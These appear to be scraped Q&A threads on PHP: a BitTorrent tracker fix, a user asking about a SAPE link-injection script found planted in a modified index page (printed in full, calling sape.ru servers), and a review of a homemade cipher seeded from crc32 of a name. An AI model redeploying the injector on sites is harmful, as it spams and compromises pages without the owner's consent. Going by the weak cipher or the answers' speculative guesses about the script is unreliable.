function benc_resp($d) { return $this->benc_resp_raw($this->benc(array('type' => 'dictionary', 'value' => $d))); } public function benc_resp_raw($x) { header("Content-Type: text/plain"); header("Pragma: no-cache"); if ($_SERVER['HTTP_ACCEPT_ENCODING'] == 'gzip') { header("Content-Encoding: gzip"); echo gzencode($x, 9, FORCE_GZIP); } else { echo $x; } } function benc($obj) { if (!is_array($obj) || !isset($obj["type"]) || !isset($obj["value"])) return; $c = $obj["value"]; switch ($obj["type"]) { case "string": return $this->benc_str($c); case "integer": return $this->benc_int($c); case "list": return $this->benc_list($c); case "dictionary": return $this->benc_dict($c); default: return; } } public function benc_str($s) { return strlen($s) . ":$s"; } public function benc_int($i) { return "i" . $i . "e"; } public function benc_list($a) { $s = "l"; foreach ($a as $e) { $s .= $this->benc($e); } $s .= "e"; return $s; } public function benc_dict($d) { $s = "d"; $keys = array_keys($d); sort($keys); foreach ($keys as $k) { $v = $d[$k]; $s .= $this->benc_str($k); $s .= $this->benc($v); } $s .= "e"; return $s; } public function hex2bin($hex) { $r = ''; for ($i = 0; $i < strlen($hex); $i += 2) { $r .= chr(hexdec($hex{$i} . $hex{($i + 1)})); } return $r; } } I am not quite sure what am I missing here.
Maybe it's because you constantly set ->header('Content-Type', $value); without ever setting $value? So the "Announce-Response" is malformed?
$port = $_SERVER['REMOTE_PORT']; I think the problem is that the tracker instead of register the port that the connecting peer sends in the announce string, the tracker register the remote port that the peer is connecting from. That is almost certainly the wrong port to use.
Hacker Backdoor script? [closed]
Closed. This question is off-topic. It is not currently accepting answers. Want to improve this question? Update the question so it's on-topic for Stack Overflow. Closed 10 years ago. Improve this question I found this script attached to a modified index page. This looks like some kind of backdoor. and who is this SAPE ? <?php class SAPE_base { var $_version = '1.0.8'; var $_verbose = false; var $_charset = ''; var $_sape_charset = ''; var $_server_list = array('dispenser-01.sape.ru', 'dispenser-02.sape.ru'); var $_cache_lifetime = 3600; var $_cache_reloadtime = 600; var $_error = ''; var $_host = ''; var $_request_uri = ''; var $_multi_site = false; var $_fetch_remote_type = ''; var $_socket_timeout = 6; var $_force_show_code = false; var $_is_our_bot = false; var $_debug = false; var $_ignore_case = false; var $_db_file = ''; var $_use_server_array = false; var $_force_update_db = false; function SAPE_base($options = null) { $host = ''; if (is_array($options)) { if (isset($options['host'])) { $host = $options['host']; } } elseif (strlen($options)) { $host = $options; $options = array(); } else { $options = array(); } if (isset($options['use_server_array']) && $options['use_server_array'] == true) { $this->_use_server_array = true; } if (strlen($host)) { $this->_host = $host; } else { $this->_host = $_SERVER['HTTP_HOST']; } $this->_host = preg_replace('/^http:\/\//', '', $this->_host); $this->_host = preg_replace('/^www\./', '', $this->_host); if (isset($options['request_uri']) && strlen($options['request_uri'])) { $this->_request_uri = $options['request_uri']; } elseif ($this->_use_server_array === false) { $this->_request_uri = getenv('REQUEST_URI'); } if (strlen($this->_request_uri) == 0) { $this->_request_uri = $_SERVER['REQUEST_URI']; } if (isset($options['multi_site']) && $options['multi_site'] == true) { $this->_multi_site = true; } if (isset($options['debug']) && $options['debug'] == true) { $this->_debug = true; } if (isset($_COOKIE['sape_cookie']) && ($_COOKIE['sape_cookie'] == _SAPE_USER)) { $this->_is_our_bot = true; if (isset($_COOKIE['sape_debug']) && ($_COOKIE['sape_debug'] == 1)) { $this->_debug = true; $this->_options = $options; $this->_server_request_uri = $this->_request_uri = $_SERVER['REQUEST_URI']; $this->_getenv_request_uri = getenv('REQUEST_URI'); $this->_SAPE_USER = _SAPE_USER; } if (isset($_COOKIE['sape_updatedb']) && ($_COOKIE['sape_updatedb'] == 1)) { $this->_force_update_db = true; } } else { $this->_is_our_bot = false; } if (isset($options['verbose']) && $options['verbose'] == true || $this->_debug) { $this->_verbose = true; } if (isset($options['charset']) && strlen($options['charset'])) { $this->_charset = $options['charset']; } else { $this->_charset = 'windows-1251'; } if (isset($options['fetch_remote_type']) && strlen($options['fetch_remote_type'])) { $this->_fetch_remote_type = $options['fetch_remote_type']; } if (isset($options['socket_timeout']) && is_numeric($options['socket_timeout']) && $options['socket_timeout'] > 0) { $this->_socket_timeout = $options['socket_timeout']; } if (isset($options['force_show_code']) && $options['force_show_code'] == true) { $this->_force_show_code = true; } if (!defined('_SAPE_USER')) { return $this->raise_error('Не задана константа _SAPE_USER'); } if (isset($options['ignore_case']) && $options['ignore_case'] == true) { $this->_ignore_case = true; $this->_request_uri = strtolower($this->_request_uri); } } function fetch_remote_file($host, $path) { $user_agent = $this->_user_agent . ' ' . $this->_version; #ini_set('allow_url_fopen', 1); #ini_set('default_socket_timeout', $this->_socket_timeout); #ini_set('user_agent', $user_agent); if ( $this->_fetch_remote_type == 'file_get_contents' || ( $this->_fetch_remote_type == '' && function_exists('file_get_contents') && ini_get('allow_url_fopen') == 1 ) ) { $this->_fetch_remote_type = 'file_get_contents'; if ($data = #file_get_contents('http://' . $host . $path)) { return $data; } } elseif ( $this->_fetch_remote_type == 'curl' || ( $this->_fetch_remote_type == '' && function_exists('curl_init') ) ) { $this->_fetch_remote_type = 'curl'; if ($ch = #curl_init()) { #curl_setopt($ch, CURLOPT_URL, 'http://' . $host . $path); #curl_setopt($ch, CURLOPT_HEADER, false); #curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); #curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $this->_socket_timeout); #curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); if ($data = #curl_exec($ch)) { return $data; } #curl_close($ch); } } else { $this->_fetch_remote_type = 'socket'; $buff = ''; $fp = #fsockopen($host, 80, $errno, $errstr, $this->_socket_timeout); if ($fp) { #fputs($fp, "GET {$path} HTTP/1.0\r\nHost: {$host}\r\n"); #fputs($fp, "User-Agent: {$user_agent}\r\n\r\n"); while (!#feof($fp)) { $buff .= #fgets($fp, 128); } #fclose($fp); $page = explode("\r\n\r\n", $buff); return $page[1]; } } return $this->raise_error('Не могу подключиться к серверу: ' . $host . $path . ', type: ' . $this->_fetch_remote_type); } function _read($filename) { $fp = #fopen($filename, 'rb'); #flock($fp, LOCK_SH); if ($fp) { clearstatcache(); $length = #filesize($filename); $mqr = #get_magic_quotes_runtime(); #set_magic_quotes_runtime(0); if ($length) { $data = #fread($fp, $length); } else { $data = ''; } #set_magic_quotes_runtime($mqr); #flock($fp, LOCK_UN); #fclose($fp); return $data; } return $this->raise_error('Не могу считать данные из файла: ' . $filename); } function _write($filename, $data) { $fp = #fopen($filename, 'ab'); if ($fp) { if (flock($fp, LOCK_EX | LOCK_NB)) { $length = strlen($data); ftruncate($fp, 0); #fwrite($fp, $data, $length); #flock($fp, LOCK_UN); #fclose($fp); if (md5($this->_read($filename)) != md5($data)) { #unlink($filename); return $this->raise_error('Нарушена целостность данных при записи в файл: ' . $filename); } } else { return false; } return true; } return $this->raise_error('Не могу записать данные в файл: ' . $filename); } function raise_error($e) { $this->_error = '<p style="color: red; font-weight: bold;">SAPE ERROR: ' . $e . '</p>'; if ($this->_verbose == true) { print $this->_error; } return false; } function load_data() { $this->_db_file = $this->_get_db_file(); if (!is_file($this->_db_file)) { if (#touch($this->_db_file)) { #chmod($this->_db_file, 0666); } else { return $this->raise_error('Нет файла ' . $this->_db_file . '. Создать не удалось. Выставите права 777 на папку.'); } } if (!is_writable($this->_db_file)) { return $this->raise_error('Нет доступа на запись к файлу: ' . $this->_db_file . '! Выставите права 777 на папку.'); } #clearstatcache(); $data = $this->_read($this->_db_file); if ( $this->_force_update_db || ( !$this->_is_our_bot && ( filemtime($this->_db_file) < (time() - $this->_cache_lifetime) || filesize($this->_db_file) == 0 || #unserialize($data) == false ) ) ) { #touch($this->_db_file, (time() - $this->_cache_lifetime + $this->_cache_reloadtime)); $path = $this->_get_dispenser_path(); if (strlen($this->_charset)) { $path .= '&charset=' . $this->_charset; } foreach ($this->_server_list as $i => $server) { if ($data = $this->fetch_remote_file($server, $path)) { if (substr($data, 0, 12) == 'FATAL ERROR:') { $this->raise_error($data); } else { $hash = #unserialize($data); if ($hash != false) { $hash['__sape_charset__'] = $this->_charset; $hash['__last_update__'] = time(); $hash['__multi_site__'] = $this->_multi_site; $hash['__fetch_remote_type__'] = $this->_fetch_remote_type; $hash['__ignore_case__'] = $this->_ignore_case; $hash['__php_version__'] = phpversion(); $hash['__server_software__'] = $_SERVER['SERVER_SOFTWARE']; $data_new = #serialize($hash); if ($data_new) { $data = $data_new; } $this->_write($this->_db_file, $data); break; } } } } } if (strlen(session_id())) { $session = session_name() . '=' . session_id(); $this->_request_uri = str_replace(array('?' . $session, '&' . $session), '', $this->_request_uri); } $this->set_data(#unserialize($data)); } } class SAPE_client extends SAPE_base { var $_links_delimiter = ''; var $_links = array(); var $_links_page = array(); var $_user_agent = 'SAPE_Client PHP'; function SAPE_client($options = null) { parent::SAPE_base($options); $this->load_data(); } function return_links($n = null, $offset = 0) { if (is_array($this->_links_page)) { $total_page_links = count($this->_links_page); if (!is_numeric($n) || $n > $total_page_links) { $n = $total_page_links; } $links = array(); for ($i = 1; $i <= $n; $i++) { if ($offset > 0 && $i <= $offset) { array_shift($this->_links_page); } else { $links[] = array_shift($this->_links_page); } } $html = join($this->_links_delimiter, $links); if ( strlen($this->_charset) > 0 && strlen($this->_sape_charset) > 0 && $this->_sape_charset != $this->_charset && function_exists('iconv') ) { $new_html = #iconv($this->_sape_charset, $this->_charset, $html); if ($new_html) { $html = $new_html; } } if ($this->_is_our_bot) { $html = '<sape_noindex>' . $html . '</sape_noindex>'; } } else { $html = $this->_links_page; } if ($this->_debug) { $html .= print_r($this, true); } return $html; } function _get_db_file() { if ($this->_multi_site) { return dirname(__FILE__) . '/' . $this->_host . '.links.db'; } else { return dirname(__FILE__) . '/links.db'; } } function _get_dispenser_path() { return '/code.php?user=' . _SAPE_USER . '&host=' . $this->_host; } function set_data($data) { if ($this->_ignore_case) { $this->_links = array_change_key_case($data); } else { $this->_links = $data; } if (isset($this->_links['__sape_delimiter__'])) { $this->_links_delimiter = $this->_links['__sape_delimiter__']; } if (isset($this->_links['__sape_charset__'])) { $this->_sape_charset = $this->_links['__sape_charset__']; } else { $this->_sape_charset = ''; } if (#array_key_exists($this->_request_uri, $this->_links) && is_array($this->_links[$this->_request_uri])) { $this->_links_page = $this->_links[$this->_request_uri]; } else { if (isset($this->_links['__sape_new_url__']) && strlen($this->_links['__sape_new_url__'])) { if ($this->_is_our_bot || $this->_force_show_code) { $this->_links_page = $this->_links['__sape_new_url__']; } } } } } class SAPE_context extends SAPE_base { var $_words = array(); var $_words_page = array(); var $_user_agent = 'SAPE_Context PHP'; var $_filter_tags = array('a', 'textarea', 'select', 'script', 'style', 'label', 'noscript', 'noindex', 'button'); function SAPE_context($options = null) { parent::SAPE_base($options); $this->load_data(); } function replace_in_text_segment($text) { $debug = ''; if ($this->_debug) { $debug .= "<!-- argument for replace_in_text_segment: \r\n" . base64_encode($text) . "\r\n -->"; } if (count($this->_words_page) > 0) { $source_sentence = array(); if ($this->_debug) { $debug .= '<!-- sentences for replace: '; } foreach ($this->_words_page as $n => $sentence) { //Заменяем все сущности на символы $special_chars = array( '&' => '&', '"' => '"', ''' => '\'', '<' => '<', '>' => '>' ); $sentence = strip_tags($sentence); foreach ($special_chars as $from => $to) { str_replace($from, $to, $sentence); } $sentence = htmlspecialchars($sentence); $sentence = preg_quote($sentence, '/'); $replace_array = array(); if (preg_match_all('/(&[#a-zA-Z0-9]{2,6};)/isU', $sentence, $out)) { for ($i = 0; $i < count($out[1]); $i++) { $unspec = $special_chars[$out[1][$i]]; $real = $out[1][$i]; $replace_array[$unspec] = $real; } } foreach ($replace_array as $unspec => $real) { $sentence = str_replace($real, '((' . $real . ')|(' . $unspec . '))', $sentence); } $source_sentences[$n] = str_replace(' ', '((\s)|( ))+', $sentence); if ($this->_debug) { $debug .= $source_sentences[$n] . "\r\n\r\n"; } } if ($this->_debug) { $debug .= '-->'; } $first_part = true; if (count($source_sentences) > 0) { $content = ''; $open_tags = array(); $close_tag = ''; $part = strtok(' ' . $text, '<'); while ($part !== false) { if (preg_match('/(?si)^(\/?[a-z0-9]+)/', $part, $matches)) { $tag_name = strtolower($matches[1]); if (substr($tag_name, 0, 1) == '/') { $close_tag = substr($tag_name, 1); if ($this->_debug) { $debug .= '<!-- close_tag: ' . $close_tag . ' -->'; } } else { $close_tag = ''; if ($this->_debug) { $debug .= '<!-- open_tag: ' . $tag_name . ' -->'; } } $cnt_tags = count($open_tags); if (($cnt_tags > 0) && ($open_tags[$cnt_tags - 1] == $close_tag)) { array_pop($open_tags); if ($this->_debug) { $debug .= '<!-- ' . $tag_name . ' - deleted from open_tags -->'; } if ($cnt_tags - 1 == 0) { if ($this->_debug) { $debug .= '<!-- start replacement -->'; } } } if (count($open_tags) == 0) { if (!in_array($tag_name, $this->_filter_tags)) { $split_parts = explode('>', $part, 2); if (count($split_parts) == 2) { foreach ($source_sentences as $n => $sentence) { if (preg_match('/' . $sentence . '/', $split_parts[1]) == 1) { $split_parts[1] = preg_replace('/' . $sentence . '/', str_replace('$', '\$', $this->_words_page[$n]), $split_parts[1], 1); if ($this->_debug) { $debug .= '<!-- ' . $sentence . ' --- ' . $this->_words_page[$n] . ' replaced -->'; } unset($source_sentences[$n]); unset($this->_words_page[$n]); } } $part = $split_parts[0] . '>' . $split_parts[1]; unset($split_parts); } } else { $open_tags[] = $tag_name; if ($this->_debug) { $debug .= '<!-- ' . $tag_name . ' - added to open_tags, stop replacement -->'; } } } } else { foreach ($source_sentences as $n => $sentence) { if (preg_match('/' . $sentence . '/', $part) == 1) { $part = preg_replace('/' . $sentence . '/', str_replace('$', '\$', $this->_words_page[$n]), $part, 1); if ($this->_debug) { $debug .= '<!-- ' . $sentence . ' --- ' . $this->_words_page[$n] . ' replaced -->'; } unset($source_sentences[$n]); unset($this->_words_page[$n]); } } } if ($this->_debug) { $content .= $debug; $debug = ''; } if ($first_part) { $content .= $part; $first_part = false; } else { $content .= $debug . '<' . $part; } unset($part); $part = strtok('<'); } $text = ltrim($content); unset($content); } } else { if ($this->_debug) { $debug .= '<!-- No word`s for page -->'; } } if ($this->_debug) { $debug .= '<!-- END: work of replace_in_text_segment() -->'; } if ($this->_is_our_bot || $this->_force_show_code || $this->_debug) { $text = '<sape_index>' . $text . '</sape_index>'; if (isset($this->_words['__sape_new_url__']) && strlen($this->_words['__sape_new_url__'])) { $text .= $this->_words['__sape_new_url__']; } } if ($this->_debug) { if (count($this->_words_page) > 0) { $text .= '<!-- Not replaced: ' . "\r\n"; foreach ($this->_words_page as $n => $value) { $text .= $value . "\r\n\r\n"; } $text .= '-->'; } $text .= $debug; } return $text; } function replace_in_page(&$buffer) { if (count($this->_words_page) > 0) { $split_content = preg_split('/(?smi)(<\/?sape_index>)/', $buffer, -1); $cnt_parts = count($split_content); if ($cnt_parts > 1) { //Если есть хоть одна пара sape_index, то начинаем работу if ($cnt_parts >= 3) { for ($i = 1; $i < $cnt_parts; $i = $i + 2) { $split_content[$i] = $this->replace_in_text_segment($split_content[$i]); } } $buffer = implode('', $split_content); if ($this->_debug) { $buffer .= '<!-- Split by Sape_index cnt_parts=' . $cnt_parts . '-->'; } } else { $split_content = preg_split('/(?smi)(<\/?body[^>]*>)/', $buffer, -1, PREG_SPLIT_DELIM_CAPTURE); if (count($split_content) == 5) { $split_content[0] = $split_content[0] . $split_content[1]; $split_content[1] = $this->replace_in_text_segment($split_content[2]); $split_content[2] = $split_content[3] . $split_content[4]; unset($split_content[3]); unset($split_content[4]); $buffer = $split_content[0] . $split_content[1] . $split_content[2]; if ($this->_debug) { $buffer .= '<!-- Split by BODY -->'; } } else { if ($this->_debug) { $buffer .= '<!-- Can`t split by BODY -->'; } } } } else { if (!$this->_is_our_bot && !$this->_force_show_code && !$this->_debug) { $buffer = preg_replace('/(?smi)(<\/?sape_index>)/', '', $buffer); } else { if (isset($this->_words['__sape_new_url__']) && strlen($this->_words['__sape_new_url__'])) { $buffer .= $this->_words['__sape_new_url__']; } } if ($this->_debug) { $buffer .= '<!-- No word`s for page -->'; } } return $buffer; } function _get_db_file() { if ($this->_multi_site) { return dirname(__FILE__) . '/' . $this->_host . '.words.db'; } else { return dirname(__FILE__) . '/words.db'; } } function _get_dispenser_path() { return '/code_context.php?user=' . _SAPE_USER . '&host=' . $this->_host; } function set_data($data) { $this->_words = $data; if (#array_key_exists($this->_request_uri, $this->_words) && is_array($this->_words[$this->_request_uri])) { $this->_words_page = $this->_words[$this->_request_uri]; } } } ?>
Sape is apparently link exchange service used by a Russian-speaking botnet owner. This backdoor appears to use the sape API to download XML and use bots to create a "context" that probably clicks links to generate illicit revenue. From a bad Google transition of sape.ru: Sape system increases revenue and reduces the consumption of webmasters optimizers. Venues are beginning to sell the place, not only from the main pages, but also internal. How many pages on the site? Let each revenue. Optimizers are buying cheap internal pages and save on moving projects.
My Russian isn't very good, but sape.ru looks like some kind of link exchange service. And in answer to your question "Who is SAPE": [david#archtower ~]$ whois sape.ru % By submitting a query to RIPN's Whois Service % you agree to abide by the following terms of use: % http://www.ripn.net/about/servpol.html#3.2 (in Russian) % http://www.ripn.net/about/en/servpol.html#3.2 (in English). domain: SAPE.RU nserver: ns1.q0.ru. nserver: ns2.q0.ru. nserver: ns3.q0.ru. state: REGISTERED, DELEGATED, VERIFIED org: LTD Sape registrar: R01-REG-RIPN admin-contact: https://partner.r01.ru/contact_admin.khtml created: 2006.06.20 paid-till: 2013.06.20 free-date: 2013.07.21 source: TCI Last updated on 2012.06.19 19:28:42 MSK [david#archtower ~]$
Looks like it's something to automatically visit ads referral links at first glance.
What can be improved in this PHP code?
This is a custom encryption library. I do not know much about PHP's standard library of functions and was wondering if the following code can be improved in any way. The implementation should yield the same results, the API should remain as it is, but ways to make is more PHP-ish would be greatly appreciated. Code <?php /*************************************** Create random major and minor SPICE key. ***************************************/ function crypt_major() { $all = range("\x00", "\xFF"); shuffle($all); $major_key = implode("", $all); return $major_key; } function crypt_minor() { $sample = array(); do { array_push($sample, 0, 1, 2, 3); } while (count($sample) != 256); shuffle($sample); $list = array(); for ($index = 0; $index < 64; $index++) { $b12 = $sample[$index * 4] << 6; $b34 = $sample[$index * 4 + 1] << 4; $b56 = $sample[$index * 4 + 2] << 2; $b78 = $sample[$index * 4 + 3]; array_push($list, $b12 + $b34 + $b56 + $b78); } $minor_key = implode("", array_map("chr", $list)); return $minor_key; } /*************************************** Create the SPICE key via the given name. ***************************************/ function named_major($name) { srand(crc32($name)); return crypt_major(); } function named_minor($name) { srand(crc32($name)); return crypt_minor(); } /*************************************** Check validity for major and minor keys. ***************************************/ function _check_major($key) { if (is_string($key) && strlen($key) == 256) { foreach (range("\x00", "\xFF") as $char) { if (substr_count($key, $char) == 0) { return FALSE; } } return TRUE; } return FALSE; } function _check_minor($key) { if (is_string($key) && strlen($key) == 64) { $indexs = array(); foreach (array_map("ord", str_split($key)) as $byte) { foreach (range(6, 0, 2) as $shift) { array_push($indexs, ($byte >> $shift) & 3); } } $dict = array_count_values($indexs); foreach (range(0, 3) as $index) { if ($dict[$index] != 64) { return FALSE; } } return TRUE; } return FALSE; } /*************************************** Create encode maps for encode functions. ***************************************/ function _encode_map_1($major) { return array_map("ord", str_split($major)); } function _encode_map_2($minor) { $map_2 = array(array(), array(), array(), array()); $list = array(); foreach (array_map("ord", str_split($minor)) as $byte) { foreach (range(6, 0, 2) as $shift) { array_push($list, ($byte >> $shift) & 3); } } for ($byte = 0; $byte < 256; $byte++) { array_push($map_2[$list[$byte]], chr($byte)); } return $map_2; } /*************************************** Create decode maps for decode functions. ***************************************/ function _decode_map_1($minor) { $map_1 = array(); foreach (array_map("ord", str_split($minor)) as $byte) { foreach (range(6, 0, 2) as $shift) { array_push($map_1, ($byte >> $shift) & 3); } } return $map_1; }function _decode_map_2($major) { $map_2 = array(); $temp = array_map("ord", str_split($major)); for ($byte = 0; $byte < 256; $byte++) { $map_2[$temp[$byte]] = chr($byte); } return $map_2; } /*************************************** Encrypt or decrypt the string with maps. ***************************************/ function _encode($string, $map_1, $map_2) { $cache = ""; foreach (str_split($string) as $char) { $byte = $map_1[ord($char)]; foreach (range(6, 0, 2) as $shift) { $cache .= $map_2[($byte >> $shift) & 3][mt_rand(0, 63)]; } } return $cache; } function _decode($string, $map_1, $map_2) { $cache = ""; $temp = str_split($string); for ($iter = 0; $iter < strlen($string) / 4; $iter++) { $b12 = $map_1[ord($temp[$iter * 4])] << 6; $b34 = $map_1[ord($temp[$iter * 4 + 1])] << 4; $b56 = $map_1[ord($temp[$iter * 4 + 2])] << 2; $b78 = $map_1[ord($temp[$iter * 4 + 3])]; $cache .= $map_2[$b12 + $b34 + $b56 + $b78]; } return $cache; } /*************************************** This is the public interface for coding. ***************************************/ function encode_string($string, $major, $minor) { if (is_string($string)) { if (_check_major($major) && _check_minor($minor)) { $map_1 = _encode_map_1($major); $map_2 = _encode_map_2($minor); return _encode($string, $map_1, $map_2); } } return FALSE; } function decode_string($string, $major, $minor) { if (is_string($string) && strlen($string) % 4 == 0) { if (_check_major($major) && _check_minor($minor)) { $map_1 = _decode_map_1($minor); $map_2 = _decode_map_2($major); return _decode($string, $map_1, $map_2); } } return FALSE; } ?> This is a sample showing how the code is being used. Hex editors may be of help with the input / output. Example <?php # get and process all of the form data # $input = htmlspecialchars($_POST["input"]); # $majorname = htmlspecialchars($_POST["majorname"]); # $minorname = htmlspecialchars($_POST["minorname"]); # $majorkey = htmlspecialchars($_POST["majorkey"]); # $minorkey = htmlspecialchars($_POST["minorkey"]); # $output = htmlspecialchars($_POST["output"]); # process the submissions by operation # CREATE # $operation = $_POST["operation"]; if ($operation == "Create") { if (strlen($_POST["majorname"]) == 0) { $majorkey = bin2hex(crypt_major()); } if (strlen($_POST["minorname"]) == 0) { $minorkey = bin2hex(crypt_minor()); } if (strlen($_POST["majorname"]) != 0) { $majorkey = bin2hex(named_major($_POST["majorname"])); } if (strlen($_POST["minorname"]) != 0) { $minorkey = bin2hex(named_minor($_POST["minorname"])); } } # ENCRYPT or DECRYPT function is_hex($char) { if ($char == "0"): return TRUE; elseif ($char == "1"): return TRUE; elseif ($char == "2"): return TRUE; elseif ($char == "3"): return TRUE; elseif ($char == "4"): return TRUE; elseif ($char == "5"): return TRUE; elseif ($char == "6"): return TRUE; elseif ($char == "7"): return TRUE; elseif ($char == "8"): return TRUE; elseif ($char == "9"): return TRUE; elseif ($char == "a"): return TRUE; elseif ($char == "b"): return TRUE; elseif ($char == "c"): return TRUE; elseif ($char == "d"): return TRUE; elseif ($char == "e"): return TRUE; elseif ($char == "f"): return TRUE; else: return FALSE; endif; } function hex2bin($str) { if (strlen($str) % 2 == 0): $string = strtolower($str); else: $string = strtolower("0" . $str); endif; $cache = ""; $temp = str_split($str); for ($index = 0; $index < count($temp) / 2; $index++) { $h1 = $temp[$index * 2]; if (is_hex($h1)) { $h2 = $temp[$index * 2 + 1]; if (is_hex($h2)) { $cache .= chr(hexdec($h1 . $h2)); } else { return FALSE; } } else { return FALSE; } } return $cache; } if ($operation == "Encrypt" || $operation == "Decrypt") { # CHECK FOR ANY ERROR $errors = array(); if (strlen($_POST["input"]) == 0) { $output = ""; } $binmajor = hex2bin($_POST["majorkey"]); if (strlen($_POST["majorkey"]) == 0) { array_push($errors, "There must be a major key."); } elseif ($binmajor == FALSE) { array_push($errors, "The major key must be in hex."); } elseif (_check_major($binmajor) == FALSE) { array_push($errors, "The major key is corrupt."); } $binminor = hex2bin($_POST["minorkey"]); if (strlen($_POST["minorkey"]) == 0) { array_push($errors, "There must be a minor key."); } elseif ($binminor == FALSE) { array_push($errors, "The minor key must be in hex."); } elseif (_check_minor($binminor) == FALSE) { array_push($errors, "The minor key is corrupt."); } if ($_POST["operation"] == "Decrypt") { $bininput = hex2bin(str_replace("\r", "", str_replace("\n", "", $_POST["input"]))); if ($bininput == FALSE) { if (strlen($_POST["input"]) != 0) { array_push($errors, "The input data must be in hex."); } } elseif (strlen($bininput) % 4 != 0) { array_push($errors, "The input data is corrupt."); } } if (count($errors) != 0) { # ERRORS ARE FOUND $output = "ERROR:"; foreach ($errors as $error) { $output .= "\n" . $error; } } elseif (strlen($_POST["input"]) != 0) { # CONTINUE WORKING if ($_POST["operation"] == "Encrypt") { # ENCRYPT $output = substr(chunk_split(bin2hex(encode_string($_POST["input"], $binmajor, $binminor)), 58), 0, -2); } else { # DECRYPT $output = htmlspecialchars(decode_string($bininput, $binmajor, $binminor)); } } } # echo the form with the values filled echo "<P><TEXTAREA class=maintextarea name=input rows=25 cols=25>" . $input . "</TEXTAREA></P>\n"; echo "<P>Major Name:</P>\n"; echo "<P><INPUT id=textbox1 name=majorname value=\"" . $majorname . "\"></P>\n"; echo "<P>Minor Name:</P>\n"; echo "<P><INPUT id=textbox1 name=minorname value=\"" . $minorname . "\"></P>\n"; echo "<DIV style=\"TEXT-ALIGN: center\"><INPUT class=submit type=submit value=Create name=operation>\n"; echo "</DIV>\n"; echo "<P>Major Key:</P>\n"; echo "<P><INPUT id=textbox1 name=majorkey value=\"" . $majorkey . "\"></P>\n"; echo "<P>Minor Key:</P>\n"; echo "<P><INPUT id=textbox1 name=minorkey value=\"" . $minorkey . "\"></P>\n"; echo "<DIV style=\"TEXT-ALIGN: center\"><INPUT class=submit type=submit value=Encrypt name=operation> \n"; echo "<INPUT class=submit type=submit value=Decrypt name=operation> </DIV>\n"; echo "<P>Result:</P>\n"; echo "<P><TEXTAREA class=maintextarea name=output rows=25 readOnly cols=25>" . $output . "</TEXTAREA></P></DIV></FORM>\n"; ?> What should be editted for better memory efficiency or faster execution?
You could replace your isHex function with: function isHex($char) { return strpos("0123456789ABCDEF",strtoupper($char)) > -1; } And your hex2bin might be better as: function hex2bin($h) { if (!is_string($h)) return null; $r=''; for ($a=0; $a<strlen($h); $a+=2) { $r.=chr(hexdec($h{$a}.$h{($a+1)})); } return $r; } You seem to have a lot of if..elseif...elseif...elseif which would be a lot cleaner in a switch or seperated into different methods. However, I'm talking more from a maintainability and readability perspective - although the easier it is to read and understand, the easier it is to optimize. If it would help you if I waded through all the code and wrote it in a cleaner way, then I'll do so...